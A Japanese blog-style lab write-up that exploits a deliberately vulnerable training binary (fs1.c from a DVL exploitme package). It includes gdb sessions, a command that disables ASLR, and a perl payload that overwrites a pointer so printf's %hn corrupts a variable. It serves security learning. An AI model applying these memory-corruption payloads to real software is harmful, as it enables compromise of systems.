フォーマットストリングスアタックのテスト

今日はprintf(3)のフォーマットストリングの脆弱性についてテストしてみた。
とりあえずアタックを簡単にしたかったので↓を実行。

echo "0" > /proc/sys/kernel/randomize_va_space


今日のテスト対象は/dvl/exploitmes_package_02/3_format_stringsにあるfs1。
これをデバッグオプション付きでコンパイルgdbで動かす。

bt 3_format_strings # gdb fs
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

まずソースを確認。
gdb $ list
1       /* fs1.c                                                    *
2        * specially crafted to feed your brain by xxx@xxx */ <= メールアドレスは伏せた
3
4       /* Don't forget,                                            *
5        * more is less,                                            *
6        * here's a proof                                           */
7
8       int main(int argv,char **argc) {
9               short int zero=0;
10              int *plen=(int*)malloc(sizeof(int));
gdb $
11              char buf[256];
12
13              strcpy(buf,argc[1]);
14              printf("%s%hn\n",buf,plen);
15              while(zero);
16      }

見ての通り、printfに対して入力をそのまま渡しているわけではないです。。
16行目のwhile(zero)を無限ループさせるためにどうやってzeroの内容を書き換えるかを考える。
#ただし、バッファオーバーフローで直接zeroの値を書き換えるようなことはしない!!
そうすると15行目のprintf()で%nを使ってplenに書き込みを行っている箇所が使えそう。
plenの本来のアドレスの代わりにzeroのアドレスを渡してやれば、plenにではなくzeroに対して書き込みを行うはず。

早速確認。。
アドレス確認用にブレークポイントを設定。
gdb $ b 13
Breakpoint 1 at 0x8048449: file fs1.c, line 13.
gdb $ r `perl -e 'print "A"x264;'`
-------------------------------------------------------------------------[ regs]
     eax:0804A008 ebx:B7FCDFFC  ecx:0804A010  edx:00000004     eflags:00000282
     esi:BFFFF424 edi:BFFFF3B0  esp:BFFFF270  ebp:BFFFF398     eip:08048449
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c
[007B:BFFFF270]---------------------------------------------------------[stack]
BFFFF2A0 : 33 20 53 61  20 00 00 00 - 00 00 00 00  00 00 00 00 3 Sa ...........
BFFFF290 : 54 23 FF B7  0E 3A EB B7 - 60 82 04 08  00 00 00 23 T#...:..`......#
BFFFF280 : F8 0F 00 B8  F0 14 00 00 - 00 20 FD B7  E0 F2 FF BF ......... ......
BFFFF270 : 8C F2 FF BF  93 71 FF B7 - 20 82 04 08  3C 17 00 B8 .....q.. ...<...
[007B:BFFFF424]---------------------------------------------------------[ data]
BFFFF424 : 7A F5 FF BF  A9 F5 FF BF - 00 00 00 00  B2 F6 FF BF z...............
BFFFF434 : 00 F7 FF BF  07 F7 FF BF - 14 F7 FF BF  1F F7 FF BF ................
[0073:08048449]---------------------------------------------------------[ code]
0x8048449 <main+53>:    sub    esp,0x8
0x804844c <main+56>:    mov    eax,DWORD PTR [ebp+12]
0x804844f <main+59>:    add    eax,0x4
0x8048452 <main+62>:    push   DWORD PTR [eax]
0x8048454 <main+64>:    lea    eax,[ebp-0x118]
0x804845a <main+70>:    push   eax
-------------------------------------------------------------------------------

ブレークポイントで処理が止まったら各変数のアドレスを調べる。
Breakpoint 1, main (argv=0x2, argc=0xbffff424) at fs1.c:13
13              strcpy(buf,argc[1]);
gdb $ p &buf
$1 = (char (*)[256]) 0xbffff280
gdb $ p &plen
$2 = (int **) 0xbffff388
gdb $ p &zero
$3 = (short int *) 0xbffff38e <- ここに書き込むようにしたい!
gdb $ c
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program exited with code 011.
-------------------------------------------------------------------------[ regs]
Error while running hook_stop:
No registers.

とりあえずブレークポイントはもう必要ないので消す。
gdb $ d 1

ゴミデータ+zeroのアドレスを渡す。
gdb $ r `perl -e 'print "A"x264 . "\x8e\xf3\xff\xbf";'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

↑無限ループ実行中。
↓ctrl-cで中止
Program received signal SIGINT, Interrupt.
-------------------------------------------------------------------------[ regs]
     eax:0000010D ebx:B7FCDFFC  ecx:00000000  edx:0000010D     eflags:00000206
     esi:BFFFF424 edi:BFFFF3B0  esp:BFFFF270  ebp:BFFFF398     eip:08048484
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t s z a P c
[007B:BFFFF270]---------------------------------------------------------[stack]
BFFFF2A0 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF290 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF280 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF270 : 8C F2 FF BF  93 71 FF B7 - 20 82 04 08  3C 17 00 B8 .....q.. ...<...
[007B:BFFFF424]---------------------------------------------------------[ data]
BFFFF424 : 76 F5 FF BF  A5 F5 FF BF - 00 00 00 00  B2 F6 FF BF v...............
BFFFF434 : 00 F7 FF BF  07 F7 FF BF - 14 F7 FF BF  1F F7 FF BF ................
[0073:08048484]---------------------------------------------------------[ code]
0x8048484 <main+112>:   jmp    0x804847d <main+105>
0x8048486 <main+114>:   leave
0x8048487 <main+115>:   ret
0x8048488 <main+116>:   nop
0x8048489 <main+117>:   nop
0x804848a <main+118>:   nop
-------------------------------------------------------------------------------

ここでは確認してないけど、zeroには当然0以外の値が入ってます。
0x08048484 in main (argv=0x2, argc=0xbffff424) at fs1.c:15
15              while(zero);
gdb $ q
bt 3_format_strings #

一応これでzeroの値を書き換えて無限ループに入ることができたけど、このやり方は出題者の意図通りなのかは不明orz